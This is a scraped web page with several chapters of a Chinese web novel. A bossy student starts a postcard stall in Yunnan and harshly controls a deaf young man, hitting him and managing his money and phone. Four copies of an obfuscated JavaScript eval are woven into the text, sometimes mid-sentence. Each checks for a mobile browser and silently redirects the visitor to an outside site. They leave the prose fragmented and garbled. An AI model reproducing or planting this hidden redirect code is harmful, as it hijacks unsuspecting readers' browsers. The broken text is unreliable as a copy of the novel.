;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485766|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间不言语了。 行,易佳期也不追问,问到最后出来的答案,估计也不是什么她能理解的想法,她算是想明白了,就把李树当作另外一个物种得了,李树只要老老实实发挥摇钱树的功能就行了。 和他交流?那纯属是扯犊子。 找人加揍人,一天过去一大半,剩下的时间,易佳期没再出门,在房间里继续回客人的消息,安排发货,李树跟着大姐去忠义市场买菜,做饭。 第二天,易佳期早早起来,带李树去营业厅挂失手机卡,顺便买个新手机。 新手机是合约机,易佳期选的,和手机号绑定,月租120,36期。 手机是三星的,但是比较低端的系列,这种情况易佳期也能想到,合约机嘛,就是坑人的,能有什么好手机。 李树却爱不释手,傻乎乎的拿在手里把玩。 易佳期笑着说,“这是好手机呢,韩国总统都在用。” 听了这话,李树更爱惜了,连忙把手机放下,擦了擦手才又拿起来。 易佳期当场带李树签了合同,整个场面,其乐融融,营业员高兴、李树高兴、易佳期也高兴。 等稳定下来,李树肯定还是要去打工的,总会有给他发零用钱的时候,有了合约机,李树每月就有了固定花销,心就没那么野了。 回客栈的路上,李树时不时掏出来手机看,看一看,又赶紧塞回兜里。 易佳期笑话他,“你挂脖子上吧,一个手机翻过来覆过去,有什么好看的?” 李树不好意思地咧嘴,「看不够。」 他又说,「你对我真好,给我买这么好的手机。」 土包子,易佳期心里吐槽。李树的手机虽然是三星的,大牌子,但既不是新款,也不是高端线,市价几百块钱,芯片连水果忍者都带不动。 但这在李树眼里,已经是好得不能再好的东西。 也是,他之前的手机打电话都费劲,这手机再差劲也还有智能手机的名头。 两个人有说有笑地回到客栈。大姐从院里出来,正好撞见她们。 看到两人重归于好,大姐心里也轻松不少,“我就说嘛,家人之间哪有隔夜的矛盾,姐弟两个的,出门在外,就得相互理解。” 她注意到李树还没消肿的脸蛋,意味深长,“那个谁,你姐打你你心里也不能有怨气,她是太担心你了。” 李树点点头。易佳期找他的时候,就和大姐说了他的情况,他不用再装傻子了。 见大姐几次三番叫他“那个谁”,李树主动介绍自己,「你以后可以叫我圆圆。」 易佳期给他翻译过去。 大姐还是很惊奇他能听懂她们说话,连连“哦”了好几声。 易佳期先让李树上了楼,她被大姐拉住又多聊了几句。 易佳期问了些云南比较出名的景点,和工作之类的。 最后,大姐还是没忍住问:“你弟真不是傻子啊。“ 她嘀嘀咕咕,“也太像了…” 楼上,李树打开手机,盯着五彩斑斓的屏幕。 他没有用过智能手机,但也见别人聊起过,他知道智能手机拍照很清晰,能看视频,能玩游戏,能上网,还有很多有意思的软件,比如百度,想知道什么就搜什么。 李树手机上没有百度,但有一个默认的搜索引擎,李树倒腾了一会,终于点开。 他的确有一个想了解的问题。 那晚,他为什么会那样,为什么突然对易佳期的触碰感到难受、不安。 不过,经过昨天那一遭,李树的心安定了不少。 在三轮车上,易佳期摸他,他不难受,只是感到猝不及防。 在房间里,只有她们两个人,易佳期摸他的脖子他也不难受。 一切都正常了。 李树拼命回想那天的细节,除了他和易佳期、触摸与气味,还有什么? 难道是? 李树一拍脑袋,左右环顾了一下。 随后在搜索栏输下他的问题。 太饿了会那个吗? 19. 青皮 刚点了确定,李树就想退出了,问手机这种问题,羞不羞,要不要脸。 还好,他问得不算直白。 他刚忙要点叉号退出。但客栈的网速快他一步,搜索引擎转了几个圈,一个一个答案链接施施然展开。 打头的几行字,最先闯入李树视线。 “在饥饿状态下,部分人群会出现遗惊和博起等异常性行为.....” 李树头皮一紧,飞快转头。 身后没有人。 怎么回事,它怎么知道自己要问什么? 虽然理智上明白手机的另一头没有人,但李树还是生出满身满背的,被人戳穿的窘然。他按住关机键,将手机熄屏扣在桌子上,不敢再看。 不过,得知了症结所在,他心里的大石头总算落到实处。 原来,他那天那样,又热又难受,只是太饿了。易佳期身上太香了,又有奶茶味,又有辣条味,真是太香了。 李树松了口气。他妈他爸走得早,双亲尽失时,他还是个小屁孩,没人和他说过那方面的事。后来青春期,他也没有什么同龄的朋友,不知道其他人都是什么情况。 但那样的时候,感受非常不好,不受控,李树打心底里觉得不是好事。 以后绝对绝对不能再出现这种情况了,李树暗下决心。 他这么想着,心刚定下来,背后冷不丁被人重重一拍。易佳期的脸擦过他的耳朵,虚虚停在他的脸旁。 她用探究的视线圈定他,笑盈盈道:“干什么呢你?” 李树捂了捂心口,才回答,「在玩手机,」他很真心地说,「这个手机真厉害,什么都能搜到。」 看他这么说,易佳期心里突突一跳,对啊,手机上什么都能查到,知道的多了,心就野了,就有想法了。 易佳期皱眉:“再厉害也不能当个正事,玩玩玩,再好的人都能玩废了。就让你新兴两天,两天之后,手机就得收上来给你定时,有没有意见?” 李树飞快摇头,「没意见。」 易佳期轻哼一声,问什么都没意见,实际上心里的小算盘比谁都多,经历过以往种种,她怎么可能还会相信李树一点歪心思没有。 想是这么想,但易佳期面上不会表现出来,她摸了摸兜,掏出一块硬币往李树那里一拍。“听大姐说,你清早在院里晒衣服了。” 李树点头,易佳期大剌剌道:“以后干了什么主动和我说,既然说好了付费,我就一毛钱都不会少你的。” 说着,她又想起自己从院子里过来的时候好像没看见自己的内衣,“我内裤什么的没忘了洗吧?你给我晒哪了?” “别的我不讲究,内裤一定得给我洗干净了,单拿出来洗,至少得搓三遍才行。” 李树耳朵一下红了,不回话。 易佳期伸手捣他肩膀,“怎么回事?你没洗啊,没洗现在赶紧去洗啊,还要我说你。” 她捣捣捣捣,把李树肩膀都捣红了,李树才僵硬地回道:「我洗完晒在阳台了。」 比划完,没等易佳期再问,他又讪讪补了句,「洗的挺干净的。」 易佳期一瞅李树那副窘迫的样子,就明白了,这是害羞了,想明白这一层,她也乐了。 洗也洗了,搓也搓了,也不是一回两回了,这会在这臊个什么劲。 之前给她买紫色内裤的时候不是挺坦然的吗? 见李树依旧没有收钱的意思,易佳期下巴朝着硬币的方向点了点,语气多少有点不耐烦,“行了,既然洗了就拿着吧。” 多大点事啊。一块钱的买卖,让李树磨叽得跟多大笔生意似的。 李树看了她一眼,「你都给我买这么好的手机了,我洗点衣服不算什么的。」 易佳期最受不了别人和她假客气,大手一挥,“一码归一码,亲姐弟还得明算帐呢,再说买手机也没花钱,以后你有了生活费自己交月租就行了。” 说到生活费,易佳期很自然地问道:“你觉得客栈这大姐怎么样?” 李树被这突然调转的话头撞得措手不及,他和大姐的接触也不多,除了火车上,再见面就是大姐骑着三轮载易佳期来抓他。 他想了想道:「挺热心的。」 易佳期看他,“谁问你这个,你觉得和她一起做生意怎么样?” 李树懵了,做生意?他一路跟着易佳期跑,易佳期去哪他去哪,他还真没有问过易佳期来云南干什么。 他想当然以为易佳期是来旅游,原来竟是来做生意的。 李树觉得“做生意”这件事离他特别远,做生意离临安那个北方小县城也很远。 在那里,进了体制全家面上有光,留在大城市打工那也是有上进心的踏实孩子,但要是说谁家孩子去做生意了,那就只能得到一句“瞎折腾”了。 李树虽然不这么想,但也觉得做生意很难,是厉害的人才能有想法的事。 李树面有难色,「我不懂这些。」 “行了行了,你做饭去吧。”易佳期看他那个熊样,也不想再问他了。但做生意的想法在她的脑子里越蹦越高。 吃完饭,易佳期就主动找大姐说了这件事,“鹿东姐,这一片你比较熟,你知不知道哪里有租电车的。” 鹿东想了想说,“要出去玩是吗?你有驾照吗,有驾照的话还是租油车方便,最近火的那些古村落啊,看日出日落的地方离古城都挺远的。” 易佳期摇头看她,“我要租三轮车。” 鹿东大吃一惊,“租三轮干什么?你要是租电动车,租个两轮的你弟你俩也够了啊。” 易佳期这才说,“我租车不是出去玩,我想去古镇摆摊,前天咱们在古镇转那一圈,我基本上摸得差不多了,摆摊的还是挺多的,镇外不用交钱,古镇里摊位费也不贵,她们卖的东西我也看了,大多是饰品冰箱贴披肩蜡染。” “前天?”鹿东服气了,“那天不是奔着找你弟去了吗?合着你在街上到处交头接耳不是找人,是跑那调查市场去了?” “你们这俩小孩还真是…”鹿东话说到一半又咽回去了,她问:“那你想卖什么,也打算卖这些?” “如果是,我劝你别干,能进到的货市面上大差不差,你昨天应该也问了吧,十个摊能有八九个价格,都在卷低价,没那么好做的。” 易佳期直接说,“我要卖明信片,你要不要入伙和我一起做。” 鹿东的表情更一言难尽了,欲言又止,“你这个不更…” 不更没有卖点吗? 易佳期知道她想说什么,“我要卖明信片,但不只是卖明信片。” 鹿东不知道她葫芦里卖的什么药,“那你还卖什么?” 易佳期看了她一眼,随即唇角勾了勾,“还有,仪式感。” “具体来说,卖的不是明信片,而是写给未来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485767|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明信片,游客在我们这里买了明信片,可以写给未来的自己、亲人、朋友,等到了时限由我们寄还给她们。” 鹿东听明白了,“我好像在微博上看到过。” 易佳期说:“对,是新冒头的一种文旅产品,还没有多少人有动作,至少古镇上没有。” 易佳期这两天一直在琢磨这个事,古镇的人流量很大,几乎是游客的必经之地,大家就算不消费也会停下来看看,只要场子热起来,就不愁赚不到钱,她是越想越有搞头。 她继续说,“明信片进价低,投入小,但利润空间很大,所以,即使后期这种模式在古镇泛滥起来,我们也很好脱身。” 不得不承认,鹿东真的有点被易佳期说动了,虽然这距离她们初次见面,仅仅过去六天。 鹿东觉得很神奇,她虽然健谈,爱交朋友,但也不是只认识几天就冲人掏心掏肺的傻子,可眼前这个年轻人,说话做事莫名有种鼓动人的魔力。 往哪一站,就有那种“跟着她能赚钱”的气质。 但她还是保留有理智,“照你这么说,这不就是赚快钱吗?投入小回报大,你能做别人也能做,牢靠吗?” 她顺口提出质疑,本以为易佳期会继续说服她,见招拆招,讲讲怎么让这笔生意的可持续发展。 没曾想,对面的年轻人眉毛一扬,很坦然地承认了,“你说对了,这趟就是赚快钱。” 她反问:“赚快钱有什么不好?换种方法说,能赚快钱不正说明赶上市场的红利期?这个世界上大多数赚到钱的人从根本上看不都是赚的快钱吗?不往远了说,就说十年内,大学的热门专业变了多少番儿了,这个世界上赚钱的行业一直在变。” “所以说,有钱赚的时候就要赶紧赚,越是快钱越不能等。” 大多数人一听到赚快钱下意识就排斥,易佳期不这么想,就像她卖鞋一样,流行一阵一阵的,她不可能因为流行会过去,就干脆不卖爆款了吧,她肯定要卖,还要趁着风潮抓紧卖,榨干每一分热度。反正下一波流行总会来。 赚钱也是这样,这波快钱赚完了,就等下一波赚快钱的机会来呗。在金钱面前,她就是如此的随机应变。 鹿东还没想过有一天能听到“赚快钱”如此正面的解读,“那你怎么寄那些明信片,你们打算在这里长住?” “所以我要和你合作,假期结束我要去上学,每个寒暑假会回来,我需要你提供给我一个放置明信片的地方,”她随手从桌子上摸过来一张纸,“而且小摊能够承接的客人有限,我们需要场地,我听隔壁老板说你在古镇有家茶室,生意并不好,”她直白地开口,“我希望茶室的大厅可以借用给我,利润我让一成,你六我四。” 鹿东笑了,“我看你对这笔生意还挺有信心的,你可想好了,我六你四,赚得越多你让得可越多啊。” 易佳期不在意地转了转手上写着数字的白纸,“那怕什么,就当交你个朋友了。” 话都说到这个份上了,鹿东也是敞亮人,一口答应下来这件事,还把院里的另一个接客人的三轮车拨给了她,“都自家生意。不用客气。” 说干就干,事情敲定的第四天,易佳期已经搞定了第一批明信片,折叠桌椅,宣传kt板,还从二手市场淘回来一个大型邮箱,重新刷了漆,用作吸引客流。 也是在这个期间,发生了另一件大事。 高考出成绩了。 20. 柠檬 出成绩当天,易佳期在院子里正盯着李树给三轮车和邮筒改色刷漆,还没抽出空查成绩,清北招生老师的电话就相继赶来了。 两边的通话内容大差不差,开头先问候一下她,再然后,就是问她高考后的估分。 易佳期说不知道,她考后没看答案也没估分,但体感自己考得应该不错。 招生老师那边笑了下,说何止不错啊,又问她在哪里,有没有其它学校给她打过电话,有没有想去的专业。 这些问题都被易佳期打着哈哈含糊过去。 挂了电话,易佳期擦了擦汗,打算继续指挥李树把剩下的颜色改完,她一转身,才发现,李树已经站了起来,正够着头往她手上看,一脸期待。 [是不是成绩出来了?] 他一比划,旁边的鹿东也抓住机会凑上来。 易佳期虽说讲电话时摘了口罩,但和招生老师的对话,李树最多也就看进一半。但鹿东不一样,她刚才一直站在一旁,加上电话漏音,所有的对话她简直是尽收耳底。 “我没听错对吧?”鹿东表情很激动,“刚才我怎么听对面说她是清华招生办的?” “嗯,”易佳期没什么表情,“前面还有一通电话是北大打来的。” 毕竟是很有面子很光彩的事情,她当然不会藏着掖着。 她淡淡的态度显得鹿东更激动了,李树看见两个人说的话,默默将上前的脚步收回去,随后又低下头去干活,只是脸上咧开的笑容,在烈日下恍啊恍,怎么也收不回去。 真棒!真厉害!他心里想。 整个下午,清北招生办又陆陆续续给她打了几个电话,易佳期心里想着别的事,没什么心思应付。 从晌午出成绩到现在,天都快黑了,整整三个小时,她发去的消息,季昀一条都没有回。 季昀绝对考砸了,而且查成绩查到的分数应该相当精彩。 受伤的三个月里,手伤,加上落下的复习进度,一次次模考的打击,季昀对他自己的期待早就不知道降低了多少个档次。 考前两个人最后一次聊天,再畅想起以后要去的学校,季昀也只是干巴巴的表示,一定要考上一个离她最近的公办。 短短几个月,曾经信誓旦旦要和她考去同一个学校的季昀,竟然远得像是上一辈子的事了。 想到这,易佳期勾起嘴角,她心里痒得很,越这样,她越迫不及待想知道季昀的成绩。 到底是怎样的分数,能让现在这个标准一降再降,甚至连一本都不敢奢望的季昀,难以接受到这种地步。 竟然连她的消息都不回了。 她盯着手机上季昀的电话号码,良久,才按下拨通键。 电话拨通的一瞬间,易佳期心跳得很快,扑通扑通,她第一次无比期待、渴望一个人的声音,那种近似心悸的快感,还真让她有些欲罢不能。 在这种心情下,铃声响了似乎一个世纪那么长。 “嘟”的一声之后,电话接通了。 易佳期没有说话,她需要平复一下心情。 季昀那边也沉默了片刻,才开口,“佳期…” 他的声线很抖,尾音连带出一道短促的哽咽。 他要哭了。 或者说,他正在哭。 纵然季昀极力克制着自己,但易佳期还是一瞬间捕捉到了。 易佳期直白地确定,“季昀,你怎么了?你是不是哭了。” 电话那边没有回话。 易佳期追问:“为什么哭,你查完成绩了?考得不好?” 电话那边的人吸了吸鼻子。 易佳期从来没那么有耐心过,她叹了声气道:“你要是心里不痛快,就和我说吧,我特别愿意听。” 她的声线温和可靠,忽略嘴角那道恶劣的笑容,这句话几乎算得上完美的安慰。 果然,季昀一下就不行了,失控地呜咽出声。 “佳期,这次我真的完蛋了。” 易佳期态度放得更软,温声道:“慢慢说,我在呢。” 鹿东过来的时候,易佳期已经挂了电话。 四四方方的庭院里,厨房里飘出香辣的烟火气,蒸笼的雾气笼住窗户,只能隐约看见男孩忙碌的背影。 易佳期百无聊赖地坐在厨房外的连廊下,手边的小边桌摆着鲜亮的柠檬气泡饮料,鹿东到她身前时,她正咬着吸管,挂断手里的电话。 但鹿东还是听到一尾清爽的男声,语调缠绵,透着说不出的暧昧。 再看易佳期眉眼弯弯,一脸回味的神色,她几乎是立马凑上前八卦:“谁啊?和谁打电话呢,这么高兴?” 易佳期站起来活动了一下,笑着说道:“老家一朋友。” “朋友?”鹿东自然是一脸不相信,挑了下眉毛,话里带着挪揄:“男朋友吧。” 鹿东这人热心、大方,但同时,这种性格也注定了她没什么边界感的缺憾,在她那里,只要是能开口的事情,她就能打听。 易佳期和她相处这几天,也基本摸清鹿东脾性。她笑容淡了几分,正色道:“真是朋友,姐,八字还没一撇呢,你别乱说。” “行行行,”鹿东大笑,“我不说了,不说了。”随后她坐到一边,还是没忍住问她:“你到底考了多少分啊?这个能问吧?清北两边都想要你,你高考肯定得700多分了吧?” 易佳期难得怔了一下,看着她,好一会才说:“我还没查。” “没查?”鹿东真心没脾气了,“这么大的事,你也真是坐得住。” 易佳期自己都有点哭笑不得,“我忙忘了。”她这一下午除去接的那几个电话,剩下的时间净琢磨季昀的成绩去了,后面又忙着听季昀大倒苦水,竟然一点也没想起来查查自己的成绩。 另一方面,她的确是估摸着自己排名比较靠前,怎么着都有学上,打心底里没把查成绩当个事办。 厨房的火停了,李树对两个人刚才的对话浑然不知,一手端一个盘子从里头出来。 一出门他就看见易佳期捧着手机,而一旁的鹿东伸着脖子往她手机屏幕上探。 她们在看什么? 李树茫然地放下盘子。 鹿东听见声响,热心地招呼他,“哎呀那谁,快过来,你姐查成绩呢。” 李树眼睛一亮,大步就要跑过来,刚一动脚,又停下,鹿东问他怎么了,他不好意思地笑笑,把手在围裙上仔细擦了擦。 易佳期没注意李树那边,她利落地输入姓名准考号,随后,网页开始了漫长的加载。 “出来了,出来了!”鹿东指着弹出的新网页,激动得手指头都在使劲。 李树也默默往屏幕前偎。 “显出来了吗?多少分啊?我都不敢看了。”鹿东捂住眼。 等了一会,却没有人讲话。 李树就算了,连易佳期都没有出声。 鹿东心说坏了,不会是闹了个大乌龙吧。难道是考得没那么好,这可咋办,气氛都烘托到这了,这么大起大落,谁能受得了。 她放下手,安慰的话已经出溜到嘴边了,眼神却是先往屏幕上瞄了一眼。 就这一眼,她直接惊了。 “这上面怎么全是星号,是不是网坏了?什么情况?还是阅卷的时候出错了?你这得找她们去!这怎么能行?考好考差只要是自己考的咱都认了,但这连个成绩都没有怎么能行!” 她不禁往更坏处想,语气一沉:“小易,你成绩不会是被人顶了吧。” 李树突然很激动,冲鹿东比划:[你的话什么意思?”] 鹿东从没见李树比划得这么快、这么用力过,仿佛每一个字都带着铿锵的语气。 “就,每年不都有那样的新闻吗,平时成绩很好,一朝高考失利,连大学都没考上。好多年之后,才发现原来自己的成绩被人顶替了。” [谁?]李树盯着她,又问一遍,[谁会这样做?] [为什么要这样做?我要去找他。] 鹿东嘴角抽了抽,看着李树愣愣的眼神,心想,得,那股傻劲又上来了。 见鹿东不说话,李树更执着地追问:[是谁?] “我怎么知道是谁?”鹿东真心被这姐弟俩弄得没脾气。 李树又要问,鹿东直接把脸转过去。 易佳期重新进了一遍教育厅官网,还是查到同样的结果。 她这才下了定论,“没事,应该只是被屏蔽了。” “什么情况,为什么屏蔽你?”这回轮到鹿东发问了。 “之前听我们老师提过一两次,高考出成绩的时候,全省排名前50的考生,考试院会暂时屏蔽她们的成绩和排名。” 一天之后,易佳期才从老魏那里知道,她是全市唯一一个高考成绩被屏蔽的考生。 “也就是说,你是市状元?!”鹿东插话。 易佳期没否认:“暂时可以这么说。” “老天啊…”鹿东夸张地感叹道:“我这院里出了个市状元。” 易佳期一向对别人崇拜、赞叹、欣赏甚至是吹捧的态度很受用,趁着鹿东天天夸她的那个热乎劲,她和鹿东的关系近了不少。 关系近了,合伙做起事情来自然更顺利。在这期间,两人商量好的明信片小摊位热热闹闹地支了起来。 如易佳期所料,寄往未来的信件这个概念果然很有搞头,小摊支起来的第一天,客流量就超出了她的预期。 仅仅一周,卖掉了她们按照一个月备下的货量。而且看架势,小摊的客流每天几乎是在成倍数的增长,鹿东和易佳期,再加上李树那只跟屁虫,三个人从早忙到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485768|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚,实实在在体会了一把什么叫数钱数到手软。 同时,明信片小摊也带动了茶室的消费,鹿东年前就打算关停的小店,就这样有了起死回生的迹象。 云南的紫外线强,又是夏天。每到正午,就是古镇古城游客最少的时候,也只有这时候,几个人能有一段清闲的时间。 易佳期从一旁的小摊买了绿豆冰和鲜榨果汁,坐在茶室的大厅里和鹿东聊天侃大山,顺带吹空调。 鹿东挖了勺桌子上的绿豆冰,又看了看外头在烈日下收银的李树,还是没忍住说:“你弟不进来吃冰吗?” 易佳期摆手,“不用管他,他不爱吃这些零嘴。” “那我给他拿瓶矿泉水吧,这天这么热,不喝点水怎么行。” “不用,”易佳期冲她笑,“他都那么大个人了,渴了会自己找水喝,不用担心他,没见过活人被尿憋死的。” 鹿东迟疑地坐回来。 将近一周的时间里,鹿东几乎没怎么见过李树休息,小伙子往摊位上一站,就跟骡子成精似的,从早转到晚。 她也问过他累不累,累了就歇会,李树每次也就是木然地摇摇头,不累。 不过,鹿东觉得易佳期说的也有道理,那么大个人了,渴了累了,自己能不知道吗?兴许人家就是闲不住,喜欢忙活呢。 不过,经过这几天,鹿东对李树的印象也好转了许多。 她顺口道:“你弟挺勤快的,眼里有活。” 易佳期点头,“就是得培养他勤快,你看他本身就有残疾,脑子又不是很聪明,要是再好吃懒做一点,以后就是社会的负担,我总不能管他一辈子吧。” “唉,”鹿东叹气,“说起来,你也还是个小孩,还得成天替你弟打算,挺不容易的。” “不过还好,”鹿东说,“从那天也能看出来,你弟虽然平时不声不响的,但一遇上你的事,比谁都着急。”更难得是,李树懂得分担,从这姐俩住进来开始,鹿东就没见易佳期沾手过家务,洗衣做饭打扫,李树都主动揽下来了。 辛苦这么多年,拖油瓶没养成白眼狼,也算是不幸中的万幸了。 说着说着,鹿东的话匣子又打开了,话题也慢慢跑偏。 鹿东往外面看了一眼,“不过,你弟的大名就叫圆圆吗?” 易佳期没具体回答,反而问“怎么了?” 鹿东却当她是默认了,忍不住吐槽,“你家里人怎么想的,给他起这么个名字,圆圆,圆圆,跟唤狗似的,我都不好意思叫他。” “有吗?”易佳期笑了笑,“那你是没见过他小时候,脸蛋圆圆的,眼睛圆圆的,鼻子圆圆的,长得可卡通了。” 鹿东抬了抬眉毛,“你弟小时候走那种风格啊。”她看着外头那条瘦高的背影,李树性格木讷,长相却很锐利,五官很有攻击感,还真是想象不出来他圆乎乎的模样。 易佳期点头:“当然了,我们家里人起名都是有讲究的,不会乱取。” 易佳期随口胡诌着,心里却对李树另眼相看,这家伙还挺有警惕心,知道在外面做事得用化名。 说起来,圆圆这名字还是她小时候给他取的,只叫了一个暑假,她就不愿意喊了。 不过这不耽误她觉得这是个好名字。虽然比不上她的易佳期,但圆圆这个名字至少是她认真考虑出来的,而且名字算得上形象。不然李树也不会这么喜欢。 相比起来,李树这个正儿八经的名字反而潦草许多。 她记得李树小时候和他说过,在成为李树之前,他还有一个被弃用的名字,李苗。 那时,他家里还养着一颗发财树,他出生那天,家里的发财树正好出苗,所以就叫他李苗。 再后来,他慢慢长大,在该上学的年纪,确诊先天性听力障碍,又赶上独生政策,那几个月,家里几乎算得上天翻地覆。后来,是老家一个看事的姑奶说他名字起得不好,秧苗秧苗,难怪病怏怏,从那天起,他就变成了李树。 当然,这些事情,易佳期不会对鹿东说。 鹿东又说了些有的没的,休息的时间很快过去了。 外头的摊位又开始上人,鹿东掸掸衣服,总结性地感叹:“不过说来说去,你们姐弟俩的关系是真的好。” 易佳期失笑,“你刚才不还劝我别总一言不合就揍他吗?” “哪对姐弟不打打闹闹,打打闹闹才亲呢,我刚才的意思是你少在外人面前收拾他,白白叫别人看笑话。” “我能看得出来,你们姐弟俩心里都有彼此。” “姐弟俩…”易佳期玩味地重复了一遍这个字眼。 鹿东很喜欢这样称呼她和李树。 而她,似乎也像习惯云南的饮食、云南的气候、鹿东爱打听的性格一样,越来越习惯鹿东对她和李树的称谓了。 21. 绿火车 过了10点,游客越来越少,几个人才能真正地停下来喘口气。 小摊还是像往常一样,由李树收尾,把邮筒搬回店里,一件件收好里面游客投递的信件,整理明信片的存货。鹿东开民宿之前是干财务的,自然而然包揽了小摊算账的工作。 而在这个空档里,易佳期往往承担着领导的工作,那就是品着茶,看俩人干活。 易佳期闲不住,能老实坐十分钟已经是谢天谢地,她东摸摸西碰碰,被鹿东笑骂了几句,灰溜溜地端着颜色鲜亮的果茶从店头晃悠到小摊。 茶是李树沏的,他最近好像在捣鼓什么养生啊中药之类的,见她饮料喝得多,就连着几天给她泡天然花果茶。食用玫瑰打底,另外加了莓果和柠檬,还有蜂蜜,酸酸甜甜的。 李树正在收摊,来来回回,把东西从台面上搬回三轮车。易佳期没事干,就站在他身后看了一会。 李树弯腰的时候,上衣下摆会随着他的动作提上去,漏出一小截后腰,白的晃眼。他的肩膀宽,腰又很细,这样的身体,即使还有一截藏在衣服里,后背和大腿之间,也能看得出明显收窄的趋势。 再往下看,李树穿了条直筒的牛仔裤,颜色已经有些发白了,但不难看,只是有点小了,显得他的屁股特别翘。 易佳期又往那里看了好几眼。 她发现,李树的衣服要么大,要么小,没几件合身的。等下个月给他发了生活费,就得催他拿钱买几件新衣服,最好把他生活费赶紧扑腾完,他也就没心思想些有的没的,搞出逃跑这种欠打的蠢事。 想着,易佳期从他后面走过去。 以往她想从后面喊他,总会顺手拍他一下,有时候是肩膀,有时候是后脑勺,总之就是,拍哪里全看她心情。 她想也没想,一巴掌拍到李树的翘臀上。 那一下没使多大劲,和她平时收拾李树的力度比起来,简直可以算是抚摸。但没想到李树反应特别大,整个人差点没跳起来。 易佳期诧异地看着他,“好好的你蹦这么远干什么?怎么着,要出国?” 李树还残余几分炸毛的姿态,眼睛不受控制地微瞪,像受到了很大的惊吓。 至于吗? 这哑巴真是成天吃白饭的,胆子还没针眼大,易佳期心里想。 李树缓了缓,和她解释,「我不知道你…」 易佳期打断他,“不知道什么?不知道我从背后偷袭你?” 李树摇摇头,他能闻到易佳期的味道,易佳期刚站到他身后没一会,他就知道她来了,他只是,没有想到易佳期竟然会打他的屁股。 李树还没说,易佳期不耐烦地摆手,“行了行了,和你扯起来没完没了了。” 易佳期言归正传,“李树,我发现你衣服怎么都那么小呢?” 李树低头,把衣服往前拽了拽,「只小了一点,还能穿。」 「我都成年了,不会长高了。」 想到刚才看到的那一幕,易佳期就没什么好气,“能穿什么能穿,不是漏腰就是漏屁股的,不好好穿衣服就裸奔吧,成天弄的骚了吧唧的。” “下个月有了钱抓紧买几件合身的衣服,把这几件给扔了!” 见易佳期是真的生气了,李树不再多说什么,沉默地点头附和。只是手还执着地扯着上衣,时不时看一眼,只是有点小,样子还好着呢,几十块钱买的,也不便宜,爱惜点还能再穿几年,扔了好可惜。 但是易佳期不喜欢的话,还是扔了吧。 这个话题在易佳期强硬的态度下结束。易佳期脾气来得快,去的也快。站了一会,李树收拾的差不多了,她又恢复成笑眯眯的面孔,往三轮车上一翻,冲李树说:“走了,快点回家,今天你还得给我按脚呢。” 这段时间相处下来,易佳期发现,李树在伺候人这方面很有灵根,天生给人当仆人的,洗衣做饭干的不错也就不说了,连按脚都能按得她念念不忘,回味无穷。 李树也跟着上车,他出了汗,整个人热腾腾的,自觉坐到了车尾的马扎上。 他擦了擦汗,才比划:「不行,不能天天按。」 脚底的穴位多,李树又不专业,总觉得天天按,不好。而且按多了,脚就吃劲儿了,以前正好的力度也会觉得小了,不舒服了,李树也怕自己满足不了易佳期。 这份考虑落在易佳期眼里就变了模样。 她眼睛一瞪,“有你说不行的份儿?我看你是又皮痒了。” 她作势要打他,口袋里的手机却先一步震动起来。 并且连续震动了两声。 这是季昀的习惯,发个消息,一句话能分成个诗歌发出来。 易佳期指了指李树,警告般地瞪了他一眼,意思是等会我再收拾你。 随即她拿出手机,这个角度,李树余光正好能瞥见屏幕的一角,他没来得及收回目光,屏幕上的内容就钻进他的视线里。 只一眼,李树几乎没看到什么,字太小,只知道是有人给易佳期发了微信消息。 但易佳期却不动声色地将手机倾斜了一下。一个非常带有防备姿态的动作。 李树看在眼里,低下头去,不再往那边看。 易佳期拿着手机跳下了车。 她点开季昀的聊天框。 “佳期,如果我复读一年 你会不会等我。” 易佳期的回复简洁了当:“不会。” 果然,和她预想的一样,季昀会顶不住压力选择复读。 季昀之前的想法,易佳期不是猜不到,无非是想着考过一本线,让家里多出点钱去读个上海重本的中外合作。 事与愿违,季昀的高考成绩只有512,比二本线高了十几分,这样的分数,报省内的二本院校都很危险。像季昀这样喜欢显摆的二世祖,花那么多钱最后可能也只是个二本的中外合作,这种结果应该比让他死了还难受。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485769|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 